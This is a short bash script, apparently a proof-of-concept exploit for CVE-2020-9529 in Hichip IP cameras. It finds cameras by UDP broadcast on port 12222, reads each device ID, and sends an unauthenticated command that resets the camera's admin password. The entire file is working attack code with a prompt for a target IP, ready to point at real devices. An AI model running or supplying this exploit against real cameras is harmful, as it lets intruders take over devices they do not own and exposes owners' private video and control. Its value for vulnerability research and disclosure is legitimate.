#!/bin/bash
#
# Copyright (c) 2020, Paul A. Marrapese <paul@redprocyon.com>
# All rights reserved.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS 
# SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE 
# AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, 
# NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE
# OF THIS SOFTWARE.

pw_reset() {
  echo [*] Searching for device...
  dev_ip=${1:-'255.255.255.255'}
  response=$(echo -ne 'SEARCH * HDS/1.0\r\nCSeq:1\r\nClient-ID:bogus\r\n\r\n' | socat - UDP-DATAGRAM:$dev_ip:12222,broadcast,sourceport=12222 | tr -d '\r')
  dev_id=$(echo "$response" | grep Device-ID= | cut -d = -f 2)
  dev_ip=$(echo "$response" | grep IP= | cut -d = -f 2)
  #echo "$response"
  
  if [[ -z $dev_id ]]; then
    echo [*] No device found.
    exit 1
  fi
  
  echo [*] Resetting admin password of device at $dev_ip...
  response=$(echo -ne 'CMD * HDS/1.0\r\nCSeq:1\r\nClient-ID:bogus\r\nDevice-ID:'$dev_id'\r\nContent-Length:23\r\n\r\nusrpwd set -resetpwd on' | socat - UDP-DATAGRAM:$dev_ip:12222,broadcast,sourceport=12222 | tr -d '\r')
  if [[ -z $response ]]; then
    echo [*] No response received, device may not be vulnerable.
    exit 1
  fi
  
  echo [*] Response received!
  echo "$response"
}

echo '[*] Hichip IP Camera Admin Password Reset (CVE-2020-9529)'
echo '[*] Copyright (c) 2020, Paul A. Marrapese <paul@redprocyon.com>'
echo -n 'Enter device IP (or press enter for autodiscovery): '
read dev_ip
pw_reset $dev_ip
